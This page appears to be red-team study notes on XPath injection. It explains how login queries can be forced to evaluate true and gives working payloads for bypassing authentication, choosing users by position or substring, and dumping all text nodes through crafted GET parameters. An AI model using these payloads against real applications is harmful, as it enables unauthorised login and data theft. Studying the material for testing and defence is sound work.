> For the complete documentation index, see [llms.txt](https://cookiez.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cookiez.gitbook.io/red-team/general-1/web-vulnerabilities/xpath-injection.md).

# XPath Injection

XML Path Language (XPath) is a query language for Extensible Markup Language (XML) data. Specifically, we can use XPath to construct XPath queries for data stored in the XML format. Like SQL injection

Automatic tool: xcat, or other options

## Theory

{% file src="/files/c6v8hNKJOQxAyiCB3WO5" %}

We aim to bypass authentication by injecting a username and password such that the XPath query always evaluates to true. We can achieve this by injecting the value ' or '1'='1 as username and password. The resulting XPath query looks like this:

```xml
/users/user[username/text()='' or '1'='1' and password/text()='' or
'1'='1']
```

from originally:

```xml
/users/user[username/text()='htb-stdnt' and
password/text()='Academy_student!']
```

Since the predicate evaluates to true , the query returns all user element nodes from the XML document. Therefore, we are logged in as the first user. In our example document, this is the user  example. However, what if we want to log in as the admin user to obtain the highest permissions? In that case, we have to inject a username of **admin' or '1'='1** and an arbitrary value for the password. That way, the resulting XPath query looks like this:

```xml
/users/user[username/text()='admin' or '1'='1' and password/text()='abc']
```

***

## Exploitation

In real-world scenarios, passwords are often hashed. Additionally, we might not know a valid username, therefore, we cannot use the abovementioned payloads. Fortunately, we can use more advanced injection payloads to bypass authentication in such cases.

Firstly, we can inject a double or clause in the username to make the XPath query return true, thereby returning all user nodes such that we log in as the first user. An example payload would be:

&#x20;`' or true() or '`

&#x20;Resulting in the following query:

```
/users/user[username/text()='' or true() or '' and
password/text()='59725b2f19656a33b3eed406531fb474']
```

Due to the way the query is evaluated, the double or results in a universal true returned by the query, so we bypass the authentication. However, just like discussed previously, we might want to log in as a specific user to obtain more privileges.&#x20;

One way to do this is to iterate over all users by their position. This can be achieved with the following payload:

&#x20;`' or position()=2 or '`

&#x20;Resulting in the following query:

```
/users/user[username/text()='' or position()=2 or '' and
password/text()='59725b2f19656a33b3eed406531fb474']
```

This will return only the second user node. We can increment the position to iterate over all users until we find the user we seek. There might be millions of users in real-world deployments, thus, this manual technique will become infeasible very quickly. Instead, we can search for specific users if we know part of the username. For this, consider the following payload:

&#x20;`' or contains(.,'admin') or '`&#x20;

Resulting in the following query:

```
/users/user[username/text()='' or contains(.,'admin') or '' and
password/text()='59725b2f19656a33b3eed406531fb474']
```

This query returns all user nodes that contain the string admin in any descendants. Since the username node is a child of the user node, this returns all users that contain the substring admin in the username.

## Exfiltrating Data

The simplest is probably to append a new query that returns all text nodes. We can do this with a request like this:

```
GET /index.php?q=SOMETHINGINVALID&f=fullstreetname+|+//text() 
```

The web application will then execute the following query:

```
/a/b/c/[contains(d/text(), 'SOMETHINGINVALID')]/fullstreetname | //text()
```

We could also achieve the same result by using this payload in the q parameter: SOMETHINGINVALID') or ('1'='1 and setting the f parameter to ../../..//text() . This would result in the following XPath query:

```
/a/b/c/[contains(d/text(), 'SOMETHINGINVALID') or
('1'='1')]/../../..//text()
```

Advanced Data Exfiltrating

Just read the document, probably a tool or a script you can make.
